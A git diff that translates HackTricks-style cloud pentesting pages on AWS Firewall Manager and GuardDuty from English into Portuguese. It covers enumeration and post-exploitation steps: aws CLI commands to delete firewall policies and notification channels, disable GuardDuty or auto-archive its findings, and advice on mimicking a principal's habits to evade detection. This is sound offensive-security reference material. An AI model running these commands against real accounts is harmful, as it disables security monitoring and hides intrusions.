type supports both AWS WAF and AWS WAF Classic. You can define which resources are protected by the policy. For AWS WAF policies, you can specify sets of rule groups to run first and last in the web ACL. Additionally, account owners can add rules and rule groups to run in between these sets. -2. **Shield Advanced Policy:** This policy applies Shield Advanced protections across your organization for specified resource types. It helps safeguard against DDoS attacks and other threats. -3. **Amazon VPC Security Group Policy:** With this policy, you can manage security groups used throughout your organization, enforcing a baseline set of rules across your AWS environment to control network access. -4. **Amazon VPC Network Access Control List (ACL) Policy:** This policy type gives you control over network ACLs used in your organization, allowing you to enforce a baseline set of network ACLs across your AWS environment. -5. **Network Firewall Policy:** This policy applies AWS Network Firewall protection to your organization's VPCs, enhancing network security by filtering traffic based on predefined rules. -6. **Amazon Route 53 Resolver DNS Firewall Policy:** This policy applies DNS Firewall protections to your organization's VPCs, helping to block malicious domain resolution attempts and enforce security policies for DNS traffic. -7. **Third-Party Firewall Policy:** This policy type applies protections from third-party firewalls, which are available by subscription through the AWS Marketplace console. It allows you to integrate additional security measures from trusted vendors into your AWS environment. - 1. **Palo Alto Networks Cloud NGFW Policy:** This policy applies Palo Alto Networks Cloud Next Generation Firewall (NGFW) protections and rulestacks to your organization's VPCs, providing advanced threat prevention and application-level security controls. - 2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** This policy applies Fortigate Cloud Native Firewall (CNF) as a Service protections, offering industry-leading threat prevention, web application firewall (WAF), and API protection tailored for cloud infrastructures. +1. **Política do AWS WAF:** Este tipo de política suporta tanto o AWS WAF quanto o AWS WAF Classic. Você pode definir quais recursos são protegidos pela política. Para políticas do AWS WAF, você pode especificar conjuntos de grupos de regras para serem executados primeiro e por último no ACL da web. Além disso, os proprietários da conta podem adicionar regras e grupos de regras para serem executados entre esses conjuntos. +2. **Política do Shield Advanced:** Esta política aplica proteções do Shield Advanced em toda a sua organização para tipos de recursos especificados. Ela ajuda a proteger contra ataques DDoS e outras ameaças. +3. **Política de Grupo de Segurança do Amazon VPC:** Com esta política, você pode gerenciar grupos de segurança usados em toda a sua organização, aplicando um conjunto básico de regras em seu ambiente AWS para controlar o acesso à rede. +4. **Política de Lista de Controle de Acesso à Rede (ACL) do Amazon VPC:** Este tipo de política dá a você controle sobre as ACLs de rede usadas em sua organização, permitindo que você aplique um conjunto básico de ACLs de rede em seu ambiente AWS. +5. **Política de Network Firewall:** Esta política aplica proteção do AWS Network Firewall aos VPCs da sua organização, melhorando a segurança da rede filtrando o tráfego com base em regras predefinidas. +6. **Política do Amazon Route 53 Resolver DNS Firewall:** Esta política aplica proteções do DNS Firewall aos VPCs da sua organização, ajudando a bloquear tentativas de resolução de domínio maliciosas e aplicar políticas de segurança para o tráfego DNS. +7. **Política de Firewall de Terceiros:** Este tipo de política aplica proteções de firewalls de terceiros, que estão disponíveis por assinatura através do console do AWS Marketplace. Ela permite que você integre medidas de segurança adicionais de fornecedores confiáveis em seu ambiente AWS. +1. **Política do Palo Alto Networks Cloud NGFW:** Esta política aplica proteções e pilhas de regras do Palo Alto Networks Cloud Next Generation Firewall (NGFW) aos VPCs da sua organização, fornecendo prevenção avançada contra ameaças e controles de segurança em nível de aplicativo. +2. **Política do Fortigate Cloud Native Firewall (CNF) como Serviço:** Esta política aplica proteções do Fortigate Cloud Native Firewall (CNF) como Serviço, oferecendo prevenção de ameaças líder do setor, firewall de aplicativo web (WAF) e proteção de API adaptadas para infraestruturas em nuvem. -### Administrator accounts +### Contas de administrador -AWS Firewall Manager offers flexibility in managing firewall resources within your organization through its administrative scope and two types of administrator accounts. +O AWS Firewall Manager oferece flexibilidade na gestão de recursos de firewall dentro da sua organização através de seu escopo administrativo e dois tipos de contas de administrador. -**Administrative scope defines the resources that a Firewall Manager administrator can manage**. After an AWS Organizations management account onboards an organization to Firewall Manager, it can create additional administrators with different administrative scopes. These scopes can include: +**O escopo administrativo define os recursos que um administrador do Firewall Manager pode gerenciar**. Após uma conta de gerenciamento do AWS Organizations integrar uma organização ao Firewall Manager, ela pode criar administradores adicionais com diferentes escopos administrativos. Esses escopos podem incluir: -- Accounts or organizational units (OUs) that the administrator can apply policies to. -- Regions where the administrator can perform actions. -- Firewall Manager policy types that the administrator can manage. +- Contas ou unidades organizacionais (OUs) às quais o administrador pode aplicar políticas. +- Regiões onde o administrador pode realizar ações. +- Tipos de políticas do Firewall Manager que o administrador pode gerenciar. -Administrative scope can be either **full or restricted**. Full scope grants the administrator access to **all specified resource types, regions, and policy types**. In contrast, **restricted scope provides administrative permission to only a subset of resources, regions, or policy types**. It's advisable to grant administrators only the permissions they need to fulfill their roles effectively. You can apply any combination of these administrative scope conditions to an administrator, ensuring adherence to the principle of least privilege. +O escopo administrativo pode ser **total ou restrito**. O escopo total concede ao administrador acesso a **todos os tipos de recursos, regiões e tipos de políticas especificados**. Em contraste, **o escopo restrito fornece permissão administrativa apenas a um subconjunto de recursos, regiões ou tipos de políticas**. É aconselhável conceder aos administradores apenas as permissões necessárias para cumprir suas funções de forma eficaz. Você pode aplicar qualquer combinação dessas condições de escopo administrativo a um administrador, garantindo a adesão ao princípio do menor privilégio. -There are two distinct types of administrator accounts, each serving specific roles and responsibilities: +Existem dois tipos distintos de contas de administrador, cada uma servindo a papéis e responsabilidades específicas: -- **Default Administrator:** - - The default administrator account is created by the AWS Organizations organization's management account during the onboarding process to Firewall Manager. - - This account has the capability to manage third-party firewalls and possesses full administrative scope. - - It serves as the primary administrator account for Firewall Manager, responsible for configuring and enforcing security policies across the organization. - - While the default administrator has full access to all resource types and administrative functionalities, it operates at the same peer level as other administrators if multiple administrators are utilized within the organization. -- **Firewall Manager Administrators:** - - These administrators can manage resources within the scope designated by the AWS Organizations management account, as defined by the administrative scope configuration. - - Firewall Manager administrators are created to fulfill specific roles within the organization, allowing for delegation of responsibilities while maintaining security and compliance standards. - - Upon creation, Firewall Manager checks with AWS Organizations to determine if the account is already a delegated administrator. If not, Firewall Manager calls Organizations to designate the account as a delegated administrator for Firewall Manager. +- **Administrador Padrão:** +- A conta de administrador padrão é criada pela conta de gerenciamento da organização do AWS Organizations durante o processo de integração ao Firewall Manager. +- Esta conta tem a capacidade de gerenciar firewalls de terceiros e possui escopo administrativo total. +- Ela serve como a conta de administrador principal para o Firewall Manager, responsável por configurar e aplicar políticas de segurança em toda a organização. +- Embora o administrador padrão tenha acesso total a todos os tipos de recursos e funcionalidades administrativas, ele opera no mesmo nível de par que outros administradores se múltiplos administradores forem utilizados dentro da organização. +- **Administradores do Firewall Manager:** +- Esses administradores podem gerenciar recursos dentro do escopo designado pela conta de gerenciamento do AWS Organizations, conforme definido pela configuração do escopo administrativo. +- Administradores do Firewall Manager são criados para cumprir papéis específicos dentro da organização, permitindo a delegação de responsabilidades enquanto mantêm padrões de segurança e conformidade. +- Ao serem criados, o Firewall Manager verifica com o AWS Organizations para determinar se a conta já é um administrador delegado. Se não for, o Firewall Manager chama o Organizations para designar a conta como um administrador delegado para o Firewall Manager. -Managing these administrator accounts involves creating them within Firewall Manager and defining their administrative scopes according to the organization's security requirements and the principle of least privilege. By assigning appropriate administrative roles, organizations can ensure effective security management while maintaining granular control over access to sensitive resources. +Gerenciar essas contas de administrador envolve criá-las dentro do Firewall Manager e definir seus escopos administrativos de acordo com os requisitos de segurança da organização e o princípio do menor privilégio. Ao atribuir papéis administrativos apropriados, as organizações podem garantir uma gestão de segurança eficaz enquanto mantêm controle granular sobre o acesso a recursos sensíveis. -It is important to highlight that **only one account within an organization can serve as the Firewall Manager default administrator**, adhering to the principle of "**first in, last out**". To designate a new default administrator, a series of steps must be followed: +É importante destacar que **apenas uma conta dentro de uma organização pode servir como o administrador padrão do Firewall Manager**, aderindo ao princípio de "**primeiro a entrar, último a sair**". Para designar um novo administrador padrão, uma série de passos deve ser seguida: -- First, each Firewall Administrator administrator account must revoke their own account. -- Then, the existing default administrator can revoke their own account, effectively offboarding the organization from Firewall Manager. This process results in the deletion of all Firewall Manager policies created by the revoked account. -- To conclude, the AWS Organizations management account must designate the Firewall Manager dafault administrator. - -## Enumeration +- Primeiro, cada conta de administrador do Firewall Administrator deve revogar sua própria conta. +- Em seguida, o administrador padrão existente pode revogar sua própria conta, efetivamente desintegrando a organização do Firewall Manager. Este processo resulta na exclusão de todas as políticas do Firewall Manager criadas pela conta revogada. +- Para concluir, a conta de gerenciamento do AWS Organizations deve designar o administrador padrão do Firewall Manager. +## Enumeração ``` # Users/Administrators @@ -162,66 +161,58 @@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` - -## Post Exploitation / Bypass Detection +## Pós Exploração / Bypass Detection ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) -An attacker with the **`fms:AssociateAdminAccount`** permission would be able to set the Firewall Manager default administrator account. With the **`fms:PutAdminAccount`** permission, an attacker would be able to create or updatea Firewall Manager administrator account and with the **`fms:DisassociateAdminAccount`** permission, a potential attacker could remove the current Firewall Manager administrator account association. - -- The disassociation of the **Firewall Manager default administrator follows the first-in-last-out policy**. All the Firewall Manager administrators must disassociate before the Firewall Manager default administrator can disassociate the account. -- In order to create a Firewall Manager administrator by **PutAdminAccount**, the account must belong to the organization that was previously onboarded to Firewall Manager using **AssociateAdminAccount**. -- The creation of a Firewall Manager administrator account can only be done by the organization's management account. +Um atacante com a permissão **`fms:AssociateAdminAccount`** seria capaz de definir a conta de administrador padrão do Firewall Manager. Com a permissão **`fms:PutAdminAccount`**, um atacante poderia criar ou atualizar uma conta de administrador do Firewall Manager e, com a permissão **`fms:DisassociateAdminAccount`**, um potencial atacante poderia remover a associação da conta de administrador atual do Firewall Manager. +- A desassociação do **administrador padrão do Firewall Manager segue a política de primeiro a entrar, último a sair**. Todos os administradores do Firewall Manager devem se desassociar antes que o administrador padrão do Firewall Manager possa desassociar a conta. +- Para criar um administrador do Firewall Manager por meio do **PutAdminAccount**, a conta deve pertencer à organização que foi previamente integrada ao Firewall Manager usando **AssociateAdminAccount**. +- A criação de uma conta de administrador do Firewall Manager só pode ser feita pela conta de gerenciamento da organização. ```bash aws fms associate-admin-account --admin-account aws fms disassociate-admin-account aws fms put-admin-account --admin-account ``` - -**Potential Impact:** Loss of centralized management, policy evasion, compliance violations, and disruption of security controls within the environment. +**Impacto Potencial:** Perda de gerenciamento centralizado, evasão de políticas, violações de conformidade e interrupção dos controles de segurança dentro do ambiente. ### `fms:PutPolicy`, `fms:DeletePolicy` -An attacker with the **`fms:PutPolicy`**, **`fms:DeletePolicy`** permissions would be able to create, modify or permanently delete an AWS Firewall Manager policy. - +Um atacante com as permissões **`fms:PutPolicy`**, **`fms:DeletePolicy`** seria capaz de criar, modificar ou excluir permanentemente uma política do AWS Firewall Manager. ```bash aws fms put-policy --policy | --cli-input-json file:// [--tag-list ] aws fms delete-policy --policy-id [--delete-all-policy-resources | --no-delete-all-policy-resources] ``` - -An example of permisive policy through permisive security group, in order to bypass the detection, could be the following one: - +Um exemplo de política permissiva através de um grupo de segurança permissivo, a fim de contornar a detecção, poderia ser o seguinte: ```json { - "Policy": { - "PolicyName": "permisive_policy", - "SecurityServicePolicyData": { - "Type": "SECURITY_GROUPS_COMMON", - "ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" - }, - "ResourceTypeList": [ - "AWS::EC2::Instance", - "AWS::EC2::NetworkInterface", - "AWS::EC2::SecurityGroup", - "AWS::ElasticLoadBalancingV2::LoadBalancer", - "AWS::ElasticLoadBalancing::LoadBalancer" - ], - "ResourceType": "AWS::EC2::SecurityGroup", - "ExcludeResourceTags": false, - "ResourceTags": [], - "RemediationEnabled": true - }, - "TagList": [] +"Policy": { +"PolicyName": "permisive_policy", +"SecurityServicePolicyData": { +"Type": "SECURITY_GROUPS_COMMON", +"ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" +}, +"ResourceTypeList": [ +"AWS::EC2::Instance", +"AWS::EC2::NetworkInterface", +"AWS::EC2::SecurityGroup", +"AWS::ElasticLoadBalancingV2::LoadBalancer", +"AWS::ElasticLoadBalancing::LoadBalancer" +], +"ResourceType": "AWS::EC2::SecurityGroup", +"ExcludeResourceTags": false, +"ResourceTags": [], +"RemediationEnabled": true +}, +"TagList": [] } ``` - -**Potential Impact:** Dismantling of security controls, policy evasion, compliance violations, operational disruptions, and potential data breaches within the environment. +**Impacto Potencial:** Desmantelamento de controles de segurança, evasão de políticas, violações de conformidade, interrupções operacionais e potenciais vazamentos de dados dentro do ambiente. ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -An attacker with the **`fms:BatchAssociateResource`** and **`fms:BatchDisassociateResource`** permissions would be able to associate or disassociate resources from a Firewall Manager resource set respectively. In addition, the **`fms:PutResourceSet`** and **`fms:DeleteResourceSet`** permissions would allow an attacker to create, modify or delete these resource sets from AWS Firewall Manager. - +Um atacante com as permissões **`fms:BatchAssociateResource`** e **`fms:BatchDisassociateResource`** seria capaz de associar ou desassociar recursos de um conjunto de recursos do Firewall Manager, respectivamente. Além disso, as permissões **`fms:PutResourceSet`** e **`fms:DeleteResourceSet`** permitiriam que um atacante criasse, modificasse ou excluísse esses conjuntos de recursos do AWS Firewall Manager. ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -231,83 +222,68 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` - -**Potential Impact:** The addition of an unnecessary amount of items to a resource set will increase the level of noise in the Service potentially causing a DoS. In addition, changes of the resource sets could lead to a resource disruption, policy evasion, compliance violations, and disruption of security controls within the environment. +**Impacto Potencial:** A adição de uma quantidade desnecessária de itens a um conjunto de recursos aumentará o nível de ruído no Serviço, potencialmente causando um DoS. Além disso, mudanças nos conjuntos de recursos podem levar a uma interrupção de recursos, evasão de políticas, violações de conformidade e interrupção dos controles de segurança dentro do ambiente. ### `fms:PutAppsList`, `fms:DeleteAppsList` -An attacker with the **`fms:PutAppsList`** and **`fms:DeleteAppsList`** permissions would be able to create, modify or delete application lists from AWS Firewall Manager. This could be critical, as unauthorized applications could be allowed access to the general public, or access to authorized applications could be denied, causing a DoS. - +Um atacante com as permissões **`fms:PutAppsList`** e **`fms:DeleteAppsList`** seria capaz de criar, modificar ou excluir listas de aplicativos do AWS Firewall Manager. Isso poderia ser crítico, pois aplicativos não autorizados poderiam ter acesso ao público em geral, ou o acesso a aplicativos autorizados poderia ser negado, causando um DoS. ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**Impacto Potencial:** Isso poderia resultar em configurações incorretas, evasão de políticas, violações de conformidade e interrupção dos controles de segurança dentro do ambiente. ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` -An attacker with the **`fms:PutProtocolsList`** and **`fms:DeleteProtocolsList`** permissions would be able to create, modify or delete protocols lists from AWS Firewall Manager. Similarly as with applications lists, this could be critical since unauthorized protocols could be used by the general public, or the use of authorized protocols could be denied, causing a DoS. - +Um atacante com as permissões **`fms:PutProtocolsList`** e **`fms:DeleteProtocolsList`** seria capaz de criar, modificar ou excluir listas de protocolos do AWS Firewall Manager. Da mesma forma que com listas de aplicativos, isso poderia ser crítico, uma vez que protocolos não autorizados poderiam ser usados pelo público em geral, ou o uso de protocolos autorizados poderia ser negado, causando um DoS. ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**Impacto Potencial:** Isso pode resultar em configurações incorretas, evasão de políticas, violações de conformidade e interrupção dos controles de segurança dentro do ambiente. ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` -An attacker with the **`fms:PutNotificationChannel`** and **`fms:DeleteNotificationChannel`** permissions would be able to delete and designate the IAM role and Amazon Simple Notification Service (SNS) topic that Firewall Manager uses to record SNS logs. +Um atacante com as permissões **`fms:PutNotificationChannel`** e **`fms:DeleteNotificationChannel`** seria capaz de excluir e designar o papel IAM e o tópico do Amazon Simple Notification Service (SNS) que o Firewall Manager usa para registrar logs do SNS. -To use **`fms:PutNotificationChannel`** outside of the console, you need to set up the SNS topic's access policy, allowing the specified **SnsRoleName** to publish SNS logs. If the provided **SnsRoleName** is a role other than the **`AWSServiceRoleForFMS`**, it requires a trust relationship configured to permit the Firewall Manager service principal **fms.amazonaws.com** to assume this role. +Para usar **`fms:PutNotificationChannel`** fora do console, você precisa configurar a política de acesso do tópico SNS, permitindo que o **SnsRoleName** especificado publique logs do SNS. Se o **SnsRoleName** fornecido for um papel diferente do **`AWSServiceRoleForFMS`**, ele requer um relacionamento de confiança configurado para permitir que o principal de serviço do Firewall Manager **fms.amazonaws.com** assuma esse papel. -For information about configuring an SNS access policy: +Para informações sobre como configurar uma política de acesso do SNS: {{#ref}} ../aws-sns-enum.md {{#endref}} - ```bash aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` - -**Potential Impact:** This would potentially lead to miss security alerts, delayed incident response, potential data breaches and operational disruptions within the environment. +**Impacto Potencial:** Isso poderia levar a alertas de segurança perdidos, resposta a incidentes atrasada, possíveis vazamentos de dados e interrupções operacionais dentro do ambiente. ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -An attacker with the **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** permissions would be able to associate or disassociate third-party firewalls from being managed centrally through AWS Firewall Manager. +Um atacante com as permissões **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** seria capaz de associar ou desassociar firewalls de terceiros para serem gerenciados centralmente através do AWS Firewall Manager. > [!WARNING] -> Only the default administrator can create and manage third-party firewalls. - +> Apenas o administrador padrão pode criar e gerenciar firewalls de terceiros. ```bash aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` - -**Potential Impact:** The disassociation would lead to a policy evasion, compliance violations, and disruption of security controls within the environment. The association on the other hand would lead to a disruption of cost and budget allocation. +**Impacto Potencial:** A desassociação levaria a uma evasão de política, violações de conformidade e interrupção dos controles de segurança dentro do ambiente. A associação, por outro lado, levaria a uma interrupção da alocação de custos e orçamento. ### `fms:TagResource`, `fms:UntagResource` -An attacker would be able to add, modify, or remove tags from Firewall Manager resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Um atacante seria capaz de adicionar, modificar ou remover tags dos recursos do Firewall Manager, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags. ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys ``` +**Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags. -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. - -## References +## Referências - [https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html](https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html) - [https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html](https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 2794852d3..19b48ecb5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,64 +4,63 @@ ## GuardDuty -According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combines **machine learning, anomaly detection, network monitoring, and malicious file discovery**, using both AWS and industry-leading third-party sources to help protect workloads and data on AWS. GuardDuty is capable of analysing tens of billions of events across multiple AWS data sources, such as AWS CloudTrail event logs, Amazon Virtual Private Cloud (VPC) Flow Logs, Amazon Elastic Kubernetes Service (EKS) audit and system-level logs, and DNS query logs. +De acordo com a [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combina **aprendizado de máquina, detecção de anomalias, monitoramento de rede e descoberta de arquivos maliciosos**, utilizando tanto fontes da AWS quanto de terceiros líderes da indústria para ajudar a proteger cargas de trabalho e dados na AWS. O GuardDuty é capaz de analisar dezenas de bilhões de eventos em várias fontes de dados da AWS, como logs de eventos do AWS CloudTrail, logs de fluxo do Amazon Virtual Private Cloud (VPC), logs de auditoria e de sistema do Amazon Elastic Kubernetes Service (EKS) e logs de consulta DNS. -Amazon GuardDuty **identifies unusual activity within your accounts**, analyses the **security relevanc**e of the activity, and gives the **context** in which it was invoked. This allows a responder to determine if they should spend time on further investigation. +O Amazon GuardDuty **identifica atividades incomuns dentro de suas contas**, analisa a **relevância de segurança** da atividade e fornece o **contexto** em que foi invocada. Isso permite que um respondedor determine se deve gastar tempo em uma investigação mais aprofundada. -Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events. +Alertas **aparecem no console do GuardDuty (90 dias)** e nos Eventos do CloudWatch. > [!WARNING] -> When a user **disable GuardDuty**, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the **existing findings will be lost**.\ -> If you just stop it, the existing findings will remain. +> Quando um usuário **desativa o GuardDuty**, ele para de monitorar seu ambiente AWS e não gerará novas descobertas, e as **descobertas existentes serão perdidas**.\ +> Se você apenas parar, as descobertas existentes permanecerão. -### Findings Example +### Exemplo de Descobertas -- **Reconnaissance**: Activity suggesting reconnaissance by an attacker, such as **unusual API activity**, suspicious database **login** attempts, intra-VPC **port scanning**, unusual failed login request patterns, or unblocked port probing from a known bad IP. -- **Instance compromise**: Activity indicating an instance compromise, such as **cryptocurrency mining, backdoor command and control (C\&C)** activity, malware using domain generation algorithms (DGA), outbound denial of service activity, unusually **high network** traffic volume, unusual network protocols, outbound instance communication with a known malicious IP, temporary Amazon EC2 credentials used by an external IP address, and data exfiltration using DNS. -- **Account compromise**: Common patterns indicative of account compromise include API calls from an unusual geolocation or anonymizing proxy, attempts to disable AWS CloudTrail logging, changes that weaken the account password policy, unusual instance or infrastructure launches, infrastructure deployments in an unusual region, credential theft, suspicious database login activity, and API calls from known malicious IP addresses. -- **Bucket compromise**: Activity indicating a bucket compromise, such as suspicious data access patterns indicating credential misuse, unusual Amazon S3 API activity from a remote host, unauthorized S3 access from known malicious IP addresses, and API calls to retrieve data in S3 buckets from a user with no prior history of accessing the bucket or invoked from an unusual location. Amazon GuardDuty continuously monitors and analyzes AWS CloudTrail S3 data events (e.g. GetObject, ListObjects, DeleteObject) to detect suspicious activity across all of your Amazon S3 buckets. +- **Reconhecimento**: Atividade sugerindo reconhecimento por um atacante, como **atividade de API incomum**, tentativas de **login** em banco de dados suspeitas, **varredura de portas** intra-VPC, padrões incomuns de solicitações de login falhadas ou sondagem de portas desbloqueadas de um IP conhecido como malicioso. +- **Comprometimento de instância**: Atividade indicando um comprometimento de instância, como **mineração de criptomoedas, atividade de comando e controle (C\&C)** de backdoor, malware usando algoritmos de geração de domínio (DGA), atividade de negação de serviço de saída, volume de tráfego de rede **incomum**, protocolos de rede incomuns, comunicação de instância de saída com um IP malicioso conhecido, credenciais temporárias do Amazon EC2 usadas por um endereço IP externo e exfiltração de dados usando DNS. +- **Comprometimento de conta**: Padrões comuns indicativos de comprometimento de conta incluem chamadas de API de uma geolocalização incomum ou proxy de anonimização, tentativas de desativar o registro do AWS CloudTrail, mudanças que enfraquecem a política de senha da conta, lançamentos de instâncias ou infraestrutura incomuns, implantações de infraestrutura em uma região incomum, roubo de credenciais, atividade de login em banco de dados suspeita e chamadas de API de endereços IP maliciosos conhecidos. +- **Comprometimento de bucket**: Atividade indicando um comprometimento de bucket, como padrões de acesso a dados suspeitos indicando uso indevido de credenciais, atividade de API do Amazon S3 incomum de um host remoto, acesso não autorizado ao S3 de endereços IP maliciosos conhecidos e chamadas de API para recuperar dados em buckets S3 de um usuário sem histórico anterior de acesso ao bucket ou invocadas de uma localização incomum. O Amazon GuardDuty monitora e analisa continuamente eventos de dados S3 do AWS CloudTrail (por exemplo, GetObject, ListObjects, DeleteObject) para detectar atividades suspeitas em todos os seus buckets do Amazon S3.
-Finding Information +Informações da Descoberta -Finding summary: +Resumo da descoberta: -- Finding type -- Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low -- Region -- Account ID -- Resource ID -- Time of detection -- Which threat list was used +- Tipo de descoberta +- Severidade: 7-8.9 Alta, 4-6.9 Média, 01-3.9 Baixa +- Região +- ID da conta +- ID do recurso +- Hora da detecção +- Qual lista de ameaças foi usada -The body has this information: +O corpo contém estas informações: -- Resource affected -- Action -- Actor: Ip address, port and domain -- Additional Information +- Recurso afetado +- Ação +- Ator: Endereço IP, porta e domínio +- Informações adicionais
-### All Findings +### Todas as Descobertas -Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) +Acesse uma lista de todas as descobertas do GuardDuty em: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) -### Multi Accounts +### Múltiplas Contas -#### By Invitation +#### Por Convite -You can **invite other accounts** to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation. +Você pode **convidar outras contas** para uma conta diferente do AWS GuardDuty para que **todas as contas sejam monitoradas a partir do mesmo GuardDuty**. A conta mestre deve convidar as contas membros e, em seguida, o representante da conta membro deve aceitar o convite. -#### Via Organization +#### Via Organização -You can designate any account within the organization to be the **GuardDuty delegated administrator**. Only the organization management account can designate a delegated administrator. +Você pode designar qualquer conta dentro da organização para ser o **administrador delegado do GuardDuty**. Apenas a conta de gerenciamento da organização pode designar um administrador delegado. -An account that gets designated as a delegated administrator becomes a GuardDuty administrator account, has GuardDuty enabled automatically in the designated AWS Region, and also has the **permission to enable and manage GuardDuty for all of the accounts in the organization within that Region**. The other accounts in the organization can be viewed and added as GuardDuty member accounts associated with this delegated administrator account. - -## Enumeration +Uma conta que é designada como administrador delegado se torna uma conta de administrador do GuardDuty, tem o GuardDuty habilitado automaticamente na Região AWS designada e também tem a **permissão para habilitar e gerenciar o GuardDuty para todas as contas na organização dentro dessa Região**. As outras contas na organização podem ser visualizadas e adicionadas como contas membros do GuardDuty associadas a esta conta de administrador delegado. +## Enumeração ```bash # Get Org config aws guardduty list-organization-admin-accounts #Get Delegated Administrator @@ -101,85 +100,76 @@ aws guardduty list-publishing-destinations --detector-id aws guardduty list-threat-intel-sets --detector-id aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ``` - ## GuardDuty Bypass ### General Guidance -Try to find out as much as possible about the behaviour of the credentials you are going to use: +Tente descobrir o máximo possível sobre o comportamento das credenciais que você vai usar: -- Times it's used -- Locations -- User Agents / Services (It could be used from awscli, webconsole, lambda...) -- Permissions regularly used +- Horários em que é usado +- Localizações +- User Agents / Serviços (Pode ser usado a partir de awscli, webconsole, lambda...) +- Permissões regularmente usadas -With this information, recreate as much as possible the same scenario to use the access: +Com essas informações, recrie o máximo possível o mesmo cenário para usar o acesso: -- If it's a **user or a role accessed by a user**, try to use it in the same hours, from the same geolocation (even the same ISP and IP if possible) -- If it's a **role used by a service**, create the same service in the same region and use it from there in the same time ranges -- Always try to use the **same permissions** this principal has used -- If you need to **use other permissions or abuse a permission** (for example, download 1.000.000 cloudtrail log files) do it **slowly** and with the **minimum amount of interactions** with AWS (awscli sometime call several read APIs before the write one) +- Se for um **usuário ou um papel acessado por um usuário**, tente usá-lo nas mesmas horas, da mesma geolocalização (até mesmo o mesmo ISP e IP, se possível) +- Se for um **papel usado por um serviço**, crie o mesmo serviço na mesma região e use-o a partir daí nos mesmos intervalos de tempo +- Sempre tente usar as **mesmas permissões** que esse principal usou +- Se você precisar **usar outras permissões ou abusar de uma permissão** (por exemplo, baixar 1.000.000 de arquivos de log do cloudtrail), faça isso **devagar** e com a **mínima quantidade de interações** com a AWS (awscli às vezes chama várias APIs de leitura antes da de escrita) ### Breaking GuardDuty #### `guardduty:UpdateDetector` -With this permission you could disable GuardDuty to avoid triggering alerts. - +Com essa permissão, você poderia desativar o GuardDuty para evitar disparar alertas. ```bash aws guardduty update-detector --detector-id --no-enable aws guardduty update-detector --detector-id --data-sources S3Logs={Enable=false} ``` - #### `guardduty:CreateFilter` -Attackers with this permission have the capability to **employ filters for the automatic** archiving of findings: - +Atacantes com esta permissão têm a capacidade de **empregar filtros para o arquivamento automático** de descobertas: ```bash aws guardduty create-filter --detector-id --name --finding-criteria file:///tmp/criteria.json --action ARCHIVE ``` - #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Attackers with the previous 